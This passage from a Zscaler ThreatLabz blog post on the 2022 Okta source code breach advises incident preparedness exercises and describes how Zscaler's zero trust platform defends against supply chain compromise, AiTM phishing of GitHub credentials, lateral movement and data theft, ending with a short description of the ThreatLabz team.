Many organizations could be potentially impacted by this type of incident. Run security incident preparedness exercises for incidents just like this (a primary Identity Provider compromise, or an internal codebase compromise) to understand how to respond and what to communicate to whom and when. How can Zscaler protect organizations against this kind of attack? The Zscaler platform is built on a holistic zero trust architecture that offers defense-in-depth against supply chain and compromised user attacks, mitigating incidents such as this in the following ways: Minimize the attack surface by making internal apps invisible to the internet. Prevent compromise by using cloud native proxy architecture to inspect all traffic inline and at scale, enforcing consistent security policies. This is critical in blocking the prevalent Adversary-in-The-Middle (AiTM) phishing campaign that is actively targeting organization’s Github credentials with ability to bypass MFA. Stop lateral movement by connecting users directly to applications (rather than the network) to reduce the attack surface, and contain threats by using deception and workload segmentation. Stop data loss by inspecting data-at-rest (SaaS) and all internet-bound traffic, including encrypted channels, to prevent data theft including code repositories. About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, research.zscaler.com. Wed, 21 Dec 2022 17:56:53 -0800 Deepen Desai https://www.zscaler.com/blogs/security-research/okta-source-code-breach-how-evaluate-impact-protect-your-organization